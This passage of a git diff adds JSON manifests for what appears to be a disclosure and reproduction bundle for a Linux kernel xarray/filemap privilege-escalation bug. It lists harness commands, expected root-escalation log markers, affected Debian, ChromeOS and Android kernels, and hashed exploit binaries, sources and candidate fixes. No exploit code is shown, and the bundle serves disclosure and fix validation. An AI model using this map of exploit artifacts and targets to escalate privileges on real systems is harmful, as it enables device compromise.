"patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch", + "commands": [ + "python -m dirtycrow toolchain verify --lock toolchain-lock.json", + "python -m dirtycrow claims --profile profiles/claims.json --root . --overview CURRENT-CLAIMS.md", + "python -m dirtycrow target matrix --matrix profiles/targets.json --backend-registry backends/registry.json", + "python -m dirtycrow lab plan --profile ", + "python -m dirtycrow lab run --profile --output-dir " + ], + "expected_markers": [ + "HARNESS_PRECONDITION root_proof=created post_root=absent child_uid=65534 child_gid=65534", + "PAGE_TABLE_PRIMITIVE", + "ARBITRARY_PHYSICAL_RW", + "ROOT_IDENTITY uid=0 euid=0 suid=0 gid=0 egid=0 sgid=0", + "ROOT_PROOF required=0 open=1", + "POST_ROOT_CREATE", + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534 to_uid=0", + "HARNESS_CHILD_EXIT status=0", + "reboot: Power down" + ], + "exact_profile": "profiles/debian-6.12.105-x86_64-4k.json", + "safety": "Use only a disposable, host-attested VM with no NIC, no writable host share, and host-controlled timeout/recovery." + }, + "redaction": { + "remove_internal_candidates": true, + "omit_absolute_paths": true, + "omit_exploit_source_body": true + }, + "boundary": "The report is evidence-bound to exact imported artifacts. Source history and candidate targets are not promoted into affected-version claims." +} diff --git a/dirty-crow-xarray-lpe/framework/profiles/reproduction-bundle.json b/dirty-crow-xarray-lpe/framework/profiles/reproduction-bundle.json new file mode 100644 index 0000000..2e11c49 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/profiles/reproduction-bundle.json @@ -0,0 +1,1026 @@ +{ + "schema_version": 1, + "release_id": "dirty-crow-20260905-android-api34-corruption-r2", + "title": "Dirty Crow disclosure evidence, exact reproduction, candidate-fix validation, live Linux v4.20 iterator proof, controlled Linux v5.17 consumer execution, and Android API 34 untrusted-app kernel-corruption evidence", + "created_utc": "2026-09-05T19:47:34Z", + "target": { + "distribution": "Debian 13 trixie", + "kernel_release": "6.12.105+deb13-amd64", + "architecture": "x86_64", + "page_size": 4096, + "kernel_sha256": "bb0d1223aa5ea04229c46734dc9cff4c309e7b7d5fdbce59f70aa653b73dcb82", + "initramfs_sha256": "f8d2029ebc63f23051c411423afeddcb2899c38b6b088128010dbf5977bc2c46" + }, + "geometry": { + "qemu_version": "8.2.2", + "machine": "pc", + "acceleration": "tcg", + "cpu": "max", + "cpus": 4, + "memory_mib": 1024, + "boot_append": "console=ttyS0,115200 earlyprintk=serial,ttyS0,115200 root=/dev/ram0 rdinit=/init panic_on_warn=0 panic=1 preempt=full filemap.rounds=5000" + }, + "expected_markers": [ + "HARNESS_PRECONDITION root_proof=created post_root=absent child_uid=65534 child_gid=65534", + "KERNEL_RELEASE 6.12.105+deb13-amd64", + "EXPLOIT_IDENTITY uid=65534 euid=65534 suid=65534 gid=65534 egid=65534 sgid=65534 nnp=1", + "EXPLOIT_CAPS capget_rc=0 effective=0", + "PRE_ROOT_PROOF required=0 open=0 errno=13", + "PAGE_TABLE_PRIMITIVE", + "MM_HOLDER", + "ARBITRARY_PHYSICAL_RW write_ok=1", + "KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=65534", + "HARNESS_CHILD_EXIT status=0", + "reboot: Power down" + ], + "files": [ + { + "source": "reproduction/README.md", + "path": "README.md", + "role": "instructions", + "sha256": "8ce5317836ad8e4c65cbbd5c46fb5a200d0f94df9f9a539f83878b30a494c36d", + "executable": false + }, + { + "source": "FINAL-DISCLOSURE-REPORT.md", + "path": "FINAL-DISCLOSURE-REPORT.md", + "role": "final_disclosure_report", + "sha256": "bc23f9fb378fa610d0cc64d9375fbc2dc98fe950233aa2767feae380629eb138", + "executable": false + }, + { + "source": "ANDROID-VRP-REPORT.md", + "path": "ANDROID-VRP-REPORT.md", + "role": "android_assessment_report", + "sha256": "70bc7c5314f5d670a450529963c3ea5220c4f2b02bef9e6dd378ae3f951c3a3d", + "executable": false + }, + { + "source": "COVER-EMAIL.md", + "path": "COVER-EMAIL.md", + "role": "submission_cover_email", + "sha256": "911924f37619aba933b38c5103802b1bf9268542d9ba7e9fbeb1aa05ad69b17e", + "executable": false + }, + { + "source": "reproduction/acquire-kernel.sh", + "path": "acquire-kernel.sh", + "role": "acquisition", + "sha256": "427aca14bbd70375e628b81c8a3065654494cf1eecfe109c8e308458d61358d1", + "executable": true + }, + { + "source": "reproduction/run-qemu.sh", + "path": "run-qemu.sh", + "role": "runner", + "sha256": "08b13a8c5cab1f3a3c16ccb2eac47931c751608def45beeae96be55f54b6b612", + "executable": true + }, + { + "source": "reproduction/verify-log.py", + "path": "verify-log.py", + "role": "verifier", + "sha256": "477d4b6c474c33741b127c9c44df42748fcc3c12a1701551305713efd0cc731a", + "executable": true + }, + { + "source": "reproduction/run-fix-validation.sh", + "path": "run-fix-validation.sh", + "role": "fix_validation_runner", + "sha256": "ca660c18c0f6bc0710ba6fccc5d99945da4eb4933ee8c1b4656808b71e26b126", + "executable": true + }, + { + "source": "reproduction/verify-fix-logs.py", + "path": "verify-fix-logs.py", + "role": "fix_validation_verifier", + "sha256": "39f85f347fc33505554d89198beeb11e57c77597761ddb885ad195c3088a1e17", + "executable": true + }, + { + "source": "reproduction/verify-manifest.py", + "path": "verify-manifest.py", + "role": "verifier", + "sha256": "93265ce2c02efeb44a8cfb310e29bab0155f0fd66fcd3b6c8001e872471f5431", + "executable": true + }, + { + "source": "reproduction/build-source.sh", + "path": "build-source.sh", + "role": "build_recipe", + "sha256": "1681683b8545e4c601e908cd29af39013fe07d067a57c4df9fd7b32c6df52f12", + "executable": true + }, + { + "source": "baseline/filemap-612-final-standalone-clean-v121.cpio.gz", + "path": "artifacts/filemap-612-final-standalone-clean-v121.cpio.gz", + "role": "initramfs", + "sha256": "f8d2029ebc63f23051c411423afeddcb2899c38b6b088128010dbf5977bc2c46", + "executable": false + }, + { + "source": "baseline/filemap-xarray-lpe-debian-6.12.105-validated", + "path": "artifacts/filemap-xarray-lpe-debian-6.12.105-validated", + "role": "validated_binary", + "sha256": "7492aa09c7b0ff95c639cb08aff379c00f32796ee7524687bf3a54df85098314", + "executable": true + }, + { + "source": "baseline/debian-6.12.105-final-standalone-clean.log", + "path": "evidence/debian-6.12.105-final-standalone-clean.log", + "role": "reference_log", + "sha256": "bdf62d70a03f3c73708603c7e2d0fd1234ee398ff271ed0dd8fb6e897cdfafc7", + "executable": false + }, + { + "source": "baseline/standalone-poc-evidence.json", + "path": "evidence/standalone-poc-evidence.json", + "role": "runtime_evidence", + "sha256": "8ab9c18210a60c78ec2d4df7e746819d919c78a4b0279b2355fb2731d2ac2842", + "executable": false + }, + { + "source": "baseline/debian-6.12.105-acquisition.json", + "path": "evidence/debian-6.12.105-acquisition.json", + "role": "package_provenance", + "sha256": "327922536987540255b5495b8da461f17a0dd272343457dfa0c8f78c2e605c9c", + "executable": false + }, + { + "source": "baseline/filemap_xarray_lts_full_exploit.c", + "path": "source/filemap_xarray_lts_full_exploit.c", + "role": "portable_source", + "sha256": "dd5514dc6744ef4369d943ad5a29164e63232679907b36f5ffd143d206c79348", + "executable": false + }, + { + "source": "patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch", + "path": "patches/0001-xarray-resync-non-leaf-offset-before-advancing.patch", + "role": "candidate_fix", + "sha256": "78debec0070577b3d4bd1129c614decd4f86a5de283f8df1b8ad45eae4e621c9", + "executable": false + }, + { + "source": "patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch", + "path": "patches/0002-xarray-test-iteration-after-splitting-a-multi-index-entry.patch", + "role": "regression_test", + "sha256": "91eb6421f787be06b7900d0d1f97563e1aff8e11712b613aa4b6e99958b7411d", + "executable": false + }, + { + "source": "patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "path": "patches/0003-xarray-v4.20-test-split-resume-after-multi-index-replacement.patch", + "role": "early_kernel_regression_test", + "sha256": "ce9f4278040a5cacc822406746c92790f5107533cc3e7d9828c4a75d58662b6b", + "executable": false + }, + { + "source": "patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "path": "patches/0004-xarray-v4.20-resync-non-leaf-offset-before-advancing.patch", + "role": "early_kernel_candidate_fix", + "sha256": "e5542e28e43dfe70d40f1e3455217937ed9aff35999ae1e2c9c1e5b2b6926ac8", + "executable": false + }, + { + "source": "profiles/early-kernel-v4.20.json", + "path": "evidence/early-kernel-v4.20.json", + "role": "early_kernel_applicability", + "sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "executable": false + }, + { + "source": "profiles/claims.json", + "path": "evidence/claims.json", + "role": "current_claim_catalog", + "sha256": "c801a5f516f2b7e695f9a130934088b523854b7705e5130466c1f362e7a7e80f", + "executable": false + }, + { + "source": "CURRENT-CLAIMS.md", + "path": "CURRENT-CLAIMS.md", + "role": "current_claim_overview", + "sha256": "9735fb6d6dda450ed5d450b91a111f81bac0090366f8a5dc0113dc5101a7ed74", + "executable": false + }, + { + "source": "profiles/chromeos-r151-dedede-x86_64-4k-qemu.json", + "path": "profiles/chromeos-r151-dedede-x86_64-4k-qemu.json", + "role": "chromeos_target_profile", + "sha256": "3544dec5500c54316459024d775ce38b70f3bd8af8ac6a0ea95abc210b6386f6", + "executable": false + }, + { + "source": "baseline/chromeos/chromeos-r151-qemu-validation-20260904.json", + "path": "baseline/chromeos/chromeos-r151-qemu-validation-20260904.json", + "role": "chromeos_validation", + "sha256": "b44b3d41311906134bf03095cf38a314ec441c9a4ba6a048d0b787d0edcaa39b", + "executable": false + }, + { + "source": "baseline/chromeos/chromeos-r151-qemu-plan-20260904.log", + "path": "baseline/chromeos/chromeos-r151-qemu-plan-20260904.log", + "role": "chromeos_plan_log", + "sha256": "4f13f711345fac90815865969f4ba96d07715fe93eb435d16d82aa31a5a0941c", + "executable": false + }, + { + "source": "baseline/chromeos/chromeos-r151-qemu-primitive-20260904.log", + "path": "baseline/chromeos/chromeos-r151-qemu-primitive-20260904.log", + "role": "chromeos_primitive_log", + "sha256": "021e136256d26a090a27c120c2c81d45e7df19a4f07a6b89b7f1e48fe078c6c9", + "executable": false + }, + { + "source": "baseline/chromeos/chromeos-r151-qemu-root-20260904.log", + "path": "baseline/chromeos/chromeos-r151-qemu-root-20260904.log", + "role": "chromeos_root_log", + "sha256": "af190f1c5d1a10434a7a017454dec767fe671e1a51fedc62388c681d1e1ced65", + "executable": false + }, + { + "source": "baseline/chromeos/chromeos-r151-qemu-root-attempt2-20260904.log", + "path": "baseline/chromeos/chromeos-r151-qemu-root-attempt2-20260904.log", + "role": "chromeos_root_success_log", + "sha256": "9b9fa46085fd8ada4c54cdea866679d2af2dd91fb358ef71c3d3576a4a4b2007", + "executable": false + }, + { + "source": "baseline/fix-validation/xarray-v7.2-ab.json", + "path": "evidence/fix-validation/xarray-v7.2-ab.json", + "role": "fix_validation_index", + "sha256": "e7a7d2d9fe9fbb73d16d0fe128f13740e784a0cc7eca37be3a63b89298beb9e4", + "executable": false + }, + { + "source": "baseline/fix-validation/xarray-v7.2-vulnerable", + "path": "artifacts/fix-validation/xarray-v7.2-vulnerable", + "role": "deterministic_vulnerable_test", + "sha256": "a11b64956845dbb700d9f410a4107ae297e600226bcef382fc34ba86a3efbd6f", + "executable": true + }, + { + "source": "baseline/fix-validation/xarray-v7.2-vulnerable.log", + "path": "evidence/fix-validation/xarray-v7.2-vulnerable.log", + "role": "deterministic_vulnerable_log", + "sha256": "cade4bcfc567a0cfc01f0c05c7d5b290f93b18227ab024940d6fc8c2f13a1c9e", + "executable": false + }, + { + "source": "baseline/fix-validation/xarray-v7.2-fixed", + "path": "artifacts/fix-validation/xarray-v7.2-fixed", + "role": "deterministic_fixed_test", + "sha256": "b803b8cfcddf43f4ca11c14bb200a714ec4b3fa26e8930de942bc04cda293753", + "executable": true + }, + { + "source": "baseline/fix-validation/xarray-v7.2-fixed.log", + "path": "evidence/fix-validation/xarray-v7.2-fixed.log", + "role": "deterministic_fixed_log", + "sha256": "49d64db7802905168fb68797162802f5265c364e7f0e5405e295c65d152f04bb", + "executable": false + }, + { + "source": "baseline/fix-validation/config-6.12.105+deb13-amd64", + "path": "evidence/fix-validation/config-6.12.105+deb13-amd64", + "role": "package_build_config", + "sha256": "29a1090eb532cd491a3fb45ee6348ad70e4314973ad09af965d41cf43db3cde9", + "executable": false + }, + { + "source": "baseline/fix-validation/linux-v6.12.105-matched.config", + "path": "evidence/fix-validation/linux-v6.12.105-matched.config", + "role": "matched_build_config", + "sha256": "2e5b38f993dfc5b932e995cdec3d6c2e074427582fc1af629b90b2fd23fd19a3", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-vulnerable.config", + "path": "evidence/fix-validation/kernel-vulnerable.config", + "role": "vulnerable_build_config", + "sha256": "2e5b38f993dfc5b932e995cdec3d6c2e074427582fc1af629b90b2fd23fd19a3", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-fixed.config", + "path": "evidence/fix-validation/kernel-fixed.config", + "role": "fixed_build_config", + "sha256": "2e5b38f993dfc5b932e995cdec3d6c2e074427582fc1af629b90b2fd23fd19a3", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-vulnerable-signing-key.x509", + "path": "evidence/fix-validation/kernel-vulnerable-signing-key.x509", + "role": "vulnerable_signing_certificate", + "sha256": "e4372830e4021265c312804576bcacd71a231a7990ce8dc0b63a3a3aa0a92e07", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-fixed-signing-key.x509", + "path": "evidence/fix-validation/kernel-fixed-signing-key.x509", + "role": "fixed_signing_certificate", + "sha256": "e4372830e4021265c312804576bcacd71a231a7990ce8dc0b63a3a3aa0a92e07", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-vulnerable-compile.h", + "path": "evidence/fix-validation/kernel-vulnerable-compile.h", + "role": "vulnerable_compile_metadata", + "sha256": "c5a4066c3c82f8fa89a006b6877c44fba3a2aa47ce6b3fcdca8ebf0411e46573", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-fixed-compile.h", + "path": "evidence/fix-validation/kernel-fixed-compile.h", + "role": "fixed_compile_metadata", + "sha256": "c5a4066c3c82f8fa89a006b6877c44fba3a2aa47ce6b3fcdca8ebf0411e46573", + "executable": false + }, + { + "source": "baseline/fix-validation/linux-v6.12.105-config-normalization.txt", + "path": "evidence/fix-validation/linux-v6.12.105-config-normalization.txt", + "role": "config_normalization", + "sha256": "9aba9c15a4859eb2141733645bf01499bae1a3a81f2d81f27c22f67629598c8a", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-vulnerable-build.log", + "path": "evidence/fix-validation/kernel-vulnerable-build.log", + "role": "vulnerable_build_log", + "sha256": "51dcdf4e141c8a882f7278bbe68e4847d14f19cc93eb89c215a4ab8bf67303fe", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-fixed-build.log", + "path": "evidence/fix-validation/kernel-fixed-build.log", + "role": "fixed_build_log", + "sha256": "e7320121338770fabc9092c87d69e0265c1feeacb142eaaa615477ab17a7cdc6", + "executable": false + }, + { + "source": "baseline/fix-validation/bzImage-v6.12.105-vulnerable", + "path": "artifacts/fix-validation/bzImage-v6.12.105-vulnerable", + "role": "vulnerable_kernel", + "sha256": "7f09131bbc65bd7a8cc3a1a402e16141057eb2f7779e94c5a830280bb0277190", + "executable": false + }, + { + "source": "baseline/fix-validation/bzImage-v6.12.105-fixed", + "path": "artifacts/fix-validation/bzImage-v6.12.105-fixed", + "role": "fixed_kernel", + "sha256": "b179cc365dce98f66b3767901d9a9c6e901485bb2c0f6d2e520d80b1b4dfae0c", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-vulnerable-trial-1.log", + "path": "evidence/fix-validation/kernel-vulnerable-trial-1.log", + "role": "vulnerable_runtime_log", + "sha256": "756207e8a5b54f20c891633e1891fb24fbbae8975c7c1d980d1931674aafbc1b", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-vulnerable-trial-2.log", + "path": "evidence/fix-validation/kernel-vulnerable-trial-2.log", + "role": "vulnerable_runtime_log", + "sha256": "3eb9156f23b2af383afe6de723a1bf2dd80738c0d2402f7a560809f5ac696fdd", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-fixed-trial-1.log", + "path": "evidence/fix-validation/kernel-fixed-trial-1.log", + "role": "fixed_runtime_log", + "sha256": "ae8366cb181343126507eb4ee62b839a690a56963c6b9e5280fecdb0ef96d8b3", + "executable": false + }, + { + "source": "baseline/fix-validation/kernel-fixed-trial-2.log", + "path": "evidence/fix-validation/kernel-fixed-trial-2.log", + "role": "fixed_runtime_log", + "sha256": "c88b3c38cc226c4f2820c630535fc7c3120164d1fbf54545a3dda47da34b9c2e", + "executable": false + }, + { + "source": "build/reports/maintainer-report.md", + "path": "evidence/maintainer-report.md", + "role": "maintainer_report", + "sha256": "debe44bb4ed26eeed3bdb6fa4a0064ea910fe3d05c056ecab70d2253713c857b", + "executable": false + }, + { + "source": "profiles/linux-v4.20-live-regression-verification.json", + "path": "evidence/linux-v4.20-live-regression-verification.json", + "role": "linux_v4_20_live_regression_verification", + "executable": false, + "sha256": "28951c3ede9ee9ace3afad1408c1b60841f4834e2a78a24b683385f68718d4b3" + }, + { + "source": "baseline/v4.20/linux-v4.20-live-vulnerable.log", + "path": "evidence/linux-v4.20-live-vulnerable.log", + "role": "linux_v4_20_live_vulnerable_serial_log", + "executable": false, + "sha256": "4bea60c29261e80a4fca6591932a6dd08ae1680dbabd20cd2268fd8e531cc49b" + }, + { + "source": "baseline/v4.20/linux-v4.20-live-fixed.log", + "path": "evidence/linux-v4.20-live-fixed.log", + "role": "linux_v4_20_live_fixed_serial_log", + "executable": false, + "sha256": "99f7ef8321ec33c02ceafb0cb5feabe0908a47843ae6e9291632c486820bf77c" + }, + { + "source": "baseline/v4.20/linux-v4.20-live-test.config", + "path": "evidence/linux-v4.20-live-test.config", + "role": "linux_v4_20_live_kernel_config", + "executable": false, + "sha256": "f5865c5a60431a23931dd675bdcfb6993e0cb96fe165ab2af7a4f181c5ac8bb4" + }, + { + "source": "profiles/linux-v4.20-dax-transition-model.json", + "path": "evidence/linux-v4.20-dax-transition-model.json", + "role": "linux_v4_20_dax_transition_model", + "executable": false, + "sha256": "fa8e2aafec5805af86fec496c06407cca58add9f91f8a0675cc60615bb0d8703" + }, + { + "source": "dirtycrow/v420_dax_transition.c", + "path": "source/v420_dax_transition.c", + "role": "linux_v4_20_dax_transition_harness", + "executable": false, + "sha256": "f457f3453eb056dccca7ec6d6ca4e524c46e756791d653b4be3823fda2b84ac5" + }, + { + "source": "KERNEL-SECURITY-REPORT.txt", + "path": "KERNEL-SECURITY-REPORT.txt", + "role": "kernel_security_report", + "executable": false, + "sha256": "16bf08936c19e0cc324c8fd253a8e9f8f17e1b3060876ab506b149a49362765c" + }, + { + "source": "OPERATOR.md", + "path": "OPERATOR.md", + "role": "operator_runbook", + "executable": false, + "sha256": "b398285bb8c0f9570c39c2aa54f7012b904b8f9a28a51d2068454abc47003a9c" + }, + { + "source": "profiles/research-review-2026-09-05.json", + "path": "evidence/research-review-2026-09-05.json", + "role": "static_cross_review_provenance", + "executable": false, + "sha256": "767b860181acc101cc9878aff9bdbfa65fe3ab9da3d57a254127ab4e90076e2a" + }, + { + "source": "review/dirty-crow-review-2026-09-05-portable.md", + "path": "review/dirty-crow-review-2026-09-05-portable.md", + "role": "portable_static_cross_review", + "executable": false, + "sha256": "0bbb758f81b7b4eb56a8c67369e4fefe0e9d0f9b95f528f5356532494669f02a" + }, + { + "source": "review/evidence-hash-audit-2026-09-05.json", + "path": "review/evidence-hash-audit-2026-09-05.json", + "role": "selected_reference_hash_audit", + "executable": false, + "sha256": "4851a877c4cb7d2bfa5a34b706e29fbe45ee92e41b885a7f3bc40038c5336619" + }, + { + "source": "profiles/linux-v5.17-instrumented-consumer-verification.json", + "path": "profiles/linux-v5.17-instrumented-consumer-verification.json", + "role": "linux_v5_17_controlled_profile", + "sha256": "3a3cfb6b75b89f90a5ed7c110d4bd8d07b90e32f80fd710ea7699daa603b8698", + "executable": false + }, + { + "source": "baseline/v5.17/linux-v5.17-widened-vulnerable.log", + "path": "baseline/v5.17/linux-v5.17-widened-vulnerable.log", + "role": "linux_v5_17_controlled_vulnerable_log", + "sha256": "ae300a8b117d32d6e6e7c2faac9f615f30e5a1f4f479a5dd5d05e8b4f565b5e9", + "executable": false + }, + { + "source": "baseline/v5.17/linux-v5.17-widened-fixed.log", + "path": "baseline/v5.17/linux-v5.17-widened-fixed.log", + "role": "linux_v5_17_candidate_fix_control_log", + "sha256": "e79ad7e0bc1dfe16a0ef8e0d5aa16e1ae2fa1c9d7c35ed27cdc87016ae77960c", + "executable": false + }, + { + "source": "baseline/v5.17/linux-v5.17-widened-vulnerable-bzImage", + "path": "baseline/v5.17/linux-v5.17-widened-vulnerable-bzImage", + "role": "linux_v5_17_controlled_vulnerable_kernel", + "sha256": "9ac29f4da29aeee4940b0f82c101e6b3e7e7eb6f6c69e10813bad527084590de", + "executable": false + }, + { + "source": "baseline/v5.17/linux-v5.17-widened-fixed-bzImage", + "path": "baseline/v5.17/linux-v5.17-widened-fixed-bzImage", + "role": "linux_v5_17_candidate_fix_control_kernel", + "sha256": "927059626806eafe19eff0204e4701d347f6aff498890ac79d937503df1c50af", + "executable": false + }, + { + "source": "baseline/v5.17/linux-v5.17-live-test.config", + "path": "baseline/v5.17/linux-v5.17-live-test.config", + "role": "linux_v5_17_kernel_config", + "sha256": "4fdd8aa8a706fc3de4c22e7f86a05e6d0def826071804f5258e721573f00fa8c", + "executable": false + }, + { + "source": "baseline/v5.17/linux-v5.17-init", + "path": "baseline/v5.17/linux-v5.17-init", + "role": "linux_v5_17_init_script", + "sha256": "95bb647b0f7202f659364f89535dbfd1f7a92548f82aa83e98f7e587e7e2772d", + "executable": true + }, + { + "source": "baseline/v5.17/filemap-xarray-v5.17-widened", + "path": "baseline/v5.17/filemap-xarray-v5.17-widened", + "role": "linux_v5_17_controlled_exploit_binary", + "sha256": "0986db2c1f2a6ba1b5532e1e77269ca78b09ecc788a6c5009c780eab92246b48", + "executable": true + }, + { + "source": "baseline/v5.17/filemap-xarray-v5.17.c", + "path": "baseline/v5.17/filemap-xarray-v5.17.c", + "role": "linux_v5_17_adapted_exploit_source", + "sha256": "e1e10f3a475154ef76f756b0f4a26c3427298b19552a42620f718d4474dd5785", + "executable": false + }, + { + "source": "patches/0005-linux-v5.17-widen-filemap-xarray-window.patch", + "path": "patches/0005-linux-v5.17-widen-filemap-xarray-window.patch", + "role": "linux_v5_17_instrumentation_patch", + "sha256": "449ba46f673f6eb6e52471e68bda606aca42dda1c49cef93e1e7a4f177c6f12e", + "executable": false + }, + { + "source": "patches/0006-linux-v5.17-userns-tmpfs-trigger.patch", + "path": "patches/0006-linux-v5.17-userns-tmpfs-trigger.patch", + "role": "linux_v5_17_trigger_patch", + "sha256": "7daf393f05707d2b35b9f2b76c1db097c1a5c36327e3291a31b51f468b82446d", + "executable": false + }, + { + "source": "patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch", + "path": "patches/0007-xarray-v5.17-resync-non-leaf-offset-before-advancing.patch", + "role": "linux_v5_17_candidate_fix_patch", + "sha256": "0551aaae394ac41ab7c8281c0dc78f330623dd4b4ef40dbd6a870fd5224d750a", + "executable": false + }, + { + "source": "profiles/claims.json", + "path": "profiles/claims.json", + "role": "current_claim_catalog_profile", + "sha256": "c801a5f516f2b7e695f9a130934088b523854b7705e5130466c1f362e7a7e80f", + "executable": false + }, + { + "source": "baseline/standalone-poc-evidence.json", + "path": "baseline/standalone-poc-evidence.json", + "role": "claim_support", + "sha256": "8ab9c18210a60c78ec2d4df7e746819d919c78a4b0279b2355fb2731d2ac2842", + "executable": false + }, + { + "source": "profiles/android-gki-android16-6.12-aarch64-4k.json", + "path": "profiles/android-gki-android16-6.12-aarch64-4k.json", + "role": "claim_support", + "sha256": "b58e1985653cf0369ab5a1e9f7a310d16bb3968b0671da0617cddf2c45c738ef", + "executable": false + }, + { + "source": "profiles/disclosure.json", + "path": "profiles/disclosure.json", + "role": "claim_support", + "sha256": "cef44379b9fa53470f47bc1f1b2d28e003375ff321993054b70957a29ae6334d", + "executable": false + }, + { + "source": "profiles/early-kernel-v4.20.json", + "path": "profiles/early-kernel-v4.20.json", + "role": "claim_support", + "sha256": "1f1d19f2272dd84d69d0d4f4a0ffac919cde3c8dc4d9a612e2ba4e0beca422b5", + "executable": false + }, + { + "source": "profiles/lineages.json", + "path": "profiles/lineages.json", + "role": "claim_support", + "sha256": "8107e20a4e0e95832218ddcd996209b20dac72a7049a9151e087b8c933dc37ba", + "executable": false + }, + { + "source": "profiles/linux-v4.20-live-regression-verification.json", + "path": "profiles/linux-v4.20-live-regression-verification.json", + "role": "claim_support", + "sha256": "28951c3ede9ee9ace3afad1408c1b60841f4834e2a78a24b683385f68718d4b3", + "executable": false + }, + { + "source": "profiles/xarray-lpe-evidence-index-portable.json", + "path": "profiles/xarray-lpe-evidence-index-portable.json", + "role": "portable_historical_evidence_index", + "sha256": "089658e215fb4a3daf0a87b93d68a49f0cd8b8d8142e8b591b597016247b4e9c", + "executable": false + }, + { + "source": "profiles/xarray-lpe-final-verification-portable.json", + "path": "profiles/xarray-lpe-final-verification-portable.json", + "role": "portable_historical_final_verification", + "sha256": "c508a3257315da6f36f58cde2ec31d505080d9fc7f6bc753a15f8199e18e501d", + "executable": false + }, + { + "source": "profiles/xarray-lpe-evidence-index-current.json", + "path": "evidence/xarray-lpe-evidence-index.json", + "role": "current_evidence_index", + "sha256": "3e459ad50dc03fb7a3fa40f0969325ce1be67a2d6e972de286a40047575a7394", + "executable": false + }, + { + "source": "history/xarray-lpe-evidence-index-v420-live.json", + "path": "history/xarray-lpe-evidence-index-v420-live.json", + "role": "superseded_evidence_index", + "sha256": "673b5750f2c2a31eb8a62fe544aada2c3c473c3a85da7925d6d26ce5e6dc8f3f", + "executable": false + }, + { + "source": "profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json", + "path": "profiles/android-emulator-api34-r13-6.1.23-x86_64-4k.json", + "role": "android_kernel_corruption_target_profile", + "sha256": "a3bcf45fd7ef45b2c7dce7998179e746859c2f354a71095454a894d8e79f85be", + "executable": false + }, + { + "source": "baseline/android-api34-r13/kernel-ranchu", + "path": "baseline/android-api34-r13/kernel-ranchu", + "role": "android_exact_kernel_image", + "sha256": "b1e5cd842220175a4c07be9a2bcf5beb7b336794b00cf9b7b53abf35557b24df", + "executable": false + }, + { + "source": "baseline/android-api34-r13/config.gz", + "path": "baseline/android-api34-r13/config.gz", + "role": "android_target_provenance", + "sha256": "805e1bc41f88a0e97a0b54f7159587cc0bc41d5e8fc52f55a421dd401f6b5c5c", + "executable": false + }, + { + "source": "baseline/android-api34-r13/config", + "path": "baseline/android-api34-r13/config", + "role": "android_target_provenance", + "sha256": "45b89fa54f7bee763e356a77a41f17905b3f958e6441504dce0f3016f90aff80", + "executable": false + }, + { + "source": "baseline/android-api34-r13/package.xml", + "path": "baseline/android-api34-r13/package.xml", + "role": "android_target_provenance", + "sha256": "a0389762c6832cff6cd492622225cdf80d2f49b650febc32fd7f72e2252e13e2", + "executable": false + }, + { + "source": "baseline/android-api34-r13/source.properties", + "path": "baseline/android-api34-r13/source.properties", + "role": "android_target_provenance", + "sha256": "c6c0a2e1d43b1e220dc8e00f9e45b1e78e2426eef978fc4d73995a4f09271416", + "executable": false + }, + { + "source": "baseline/android-api34-r13/build.prop", + "path": "baseline/android-api34-r13/build.prop", + "role": "android_target_provenance", + "sha256": "7ddbd25e2d3bfa4e17e04fa9681f702c8fc1adfedf9fcd5fcd8e126093084501", + "executable": false + }, + { + "source": "baseline/android-api34-r13/avd-config.ini", + "path": "baseline/android-api34-r13/avd-config.ini", + "role": "android_target_provenance", + "sha256": "ace9fc315d3499a2a28aba02ce1ff5abea3394e6a325b1b5c52f2661c379b4d2", + "executable": false + }, + { + "source": "baseline/android-api34-r13/source/lib-xarray.c", + "path": "baseline/android-api34-r13/source/lib-xarray.c", + "role": "android_exact_kernel_source", + "sha256": "068d64bca36b73a70c1efc63a22594c85bfb49bfc2c857872ecaeabb4169f100", + "executable": false + }, + { + "source": "baseline/android-api34-r13/source/mm-filemap.c", + "path": "baseline/android-api34-r13/source/mm-filemap.c", + "role": "android_exact_kernel_source", + "sha256": "3736f46ee09967a396a4990d63e5ad9ea52d11f4ccd07f2fab61ada3eddde9cd", + "executable": false + }, + { + "source": "baseline/android-api34-r13/source/mm-khugepaged.c", + "path": "baseline/android-api34-r13/source/mm-khugepaged.c", + "role": "android_exact_kernel_source", + "sha256": "28578b5ed0ebbd17bef494235cbe7d04343a3cb9826e397dacfd80b0e238fde4", + "executable": false + }, + { + "source": "baseline/android-api34-r13/source/mm-shmem.c", + "path": "baseline/android-api34-r13/source/mm-shmem.c", + "role": "android_exact_kernel_source", + "sha256": "bac31d898605cd3b35860631bbda3221d0b4c14b58ee09661773e94b905e0d3d", + "executable": false + }, + { + "source": "baseline/filemap_xarray_lts_full_exploit_v17_recovered.c", + "path": "baseline/filemap_xarray_lts_full_exploit_v17_recovered.c", + "role": "android_source_baseline", + "sha256": "c058c917874d8ebcd40a451631e0a319d121febae0eebd2e0939ce434c4f450f", + "executable": false + }, + { + "source": "reproducer/filemap_xarray_android_api34_v17.c", + "path": "reproducer/filemap_xarray_android_api34_v17.c", + "role": "android_adapted_probe_source", + "sha256": "640103a7b82bbd951fc0c80e2f08a200349d8ffae6255f37b35e00e4a2771095", + "executable": false + }, + { + "source": "reproducer/android-api34/AndroidManifest.xml", + "path": "reproducer/android-api34/AndroidManifest.xml", + "role": "android_supporting_artifact", + "sha256": 